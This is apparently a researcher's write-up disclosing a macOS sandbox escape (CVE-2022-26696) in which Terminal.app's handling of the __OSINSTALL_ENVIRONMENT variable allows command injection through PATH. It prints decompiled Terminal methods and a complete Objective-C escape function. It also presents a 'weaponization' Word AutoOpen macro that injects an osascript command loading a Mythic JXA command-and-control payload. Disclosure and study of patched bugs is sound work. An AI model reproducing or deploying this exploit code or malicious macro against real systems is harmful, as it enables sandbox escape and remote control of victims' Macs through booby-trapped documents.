Introduction

In 2020 I observed a strange behavior a sandboxed macOS app may launch any application that won’t inherit the main app’s sandbox profile. It was even funnier as the sandboxed app can spawn those new apps with environment variables. I of course reported it to Apple, but I was told that it’s expected behavior.

From that time there were at least 2 publicly-disclosed vulnerabilities that exploited the above-mentioned behavior:

My vulnerability

I also found a vulnerability that exploited this problematic mechanism. Let’s take a look at one of Terminal.app Objective-C methods:

/* @class TTApplication */
+(char)isRunningInInstallEnvironment {
    if (*(int8_t *)byte_10010617c == 0x1) {
            rax = *(int8_t *)byte_10010617b;
    }
    else {
            COND = getenv("__OSINSTALL_ENVIRONMENT") != 0x0;
            rax = COND_BYTE_SET(NE);
            *(int8_t *)byte_10010617b = COND ? 0x1 : 0x0;
            *(int8_t *)byte_10010617c = 0x1;
    }
    rax = sign_extend_64(rax);
    return rax;
}

+[TTApplication isRunningInInstallEnvironment] will return YES when the __OSINSTALL_ENVIRONMENT environment variable was set. That method was used by another method:

/* @class TTApplication */
-(void *)init {
    var_30 = self;
    *(&var_30 + 0x8) = *0x1000f4790;
    rax = [[&var_30 super] init];
    r14 = rax;
    if (rax != 0x0) {
            if (*qword_100105e38 == 0x0) {
                    *qword_100105e38 = r14;
            }
            rbx = [[[NSProcessInfo processInfo] environment] mutableCopy];
            if ([objc_opt_class(r14) isRunningInInstallEnvironment] == 0x0) {
                    [rbx removeObjectForKey:@"HOME"];
                    [rbx removeObjectForKey:@"USER"];
                    [rbx removeObjectForKey:@"LOGNAME"];
                    [rbx removeObjectForKey:@"PATH"];
                    [rbx removeObjectForKey:@"SHELL"];
            }
[...]

So, when Terminal.app starts, some of the environment variables were not cleared when +[TTApplication isRunningInInstallEnvironment] returned YES. Great, with simple command injection I was able to execute code within the Terminal.app context without any sandbox!

I used the following function to escape sandbox from an Objective-C app:

void sbxWithShellCommand(NSString *command) {
    FSRef appFSURL;
    NSString *path = @"/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal";
    OSStatus stat2 = FSPathMakeRef((const UInt8 *)[path UTF8String], &appFSURL, NULL);
    if (stat2 < 0) {
        NSLog(@"Something wrong: %d",stat2);
    }

    LSApplicationParameters appParam;
    appParam.version = 0;
    appParam.flags = kLSLaunchDefaults;
    appParam.application = &appFSURL;
    appParam.argv = NULL;
    
    NSString *finalCommand = [NSString stringWithFormat:@"$(%@)", command];
    NSDictionary *envs = @{@"PATH":finalCommand, @"__OSINSTALL_ENVIRONMENT":@"1"};
    appParam.environment = (__bridge CFDictionaryRef)envs;
    appParam.asyncLaunchRefCon = NULL;
    appParam.initialEvent = NULL;

    CFArrayRef array = (__bridge CFArrayRef)@[];
    OSStatus stat = LSOpenURLsWithRole(array, kLSRolesAll, NULL, &appParam, NULL, 0);

    if (stat<0) {
        NSLog(@"Something wrong: %d",stat);
    }
}

Weaponization

As a big fan of #macOSRedTeaming I also weaponized that exploit by embedding it in a Word document and loading Mythic’s JXA payload:

Sub AutoOpen()
MacScript ("do shell script ""open -b com.apple.terminal --env __OSINSTALL_ENVIRONMENT=1 --env PATH='$(/usr/bin/osascript -l JavaScript /path/.apfell.js)'"" ")
End Sub

Executing code within the Terminal.app context can be really dangerous as it can also have some TCC permissions already granted. ☠️

Demo

In the demo you can see that I was able to escape Word’s sandbox and execute code within the Terminal:

Fix

This vulnerability was fixed as CVE-2022-26696. Apple Terminal no longer respects the __OSINSTALL_ENVIRONMENT environment variable.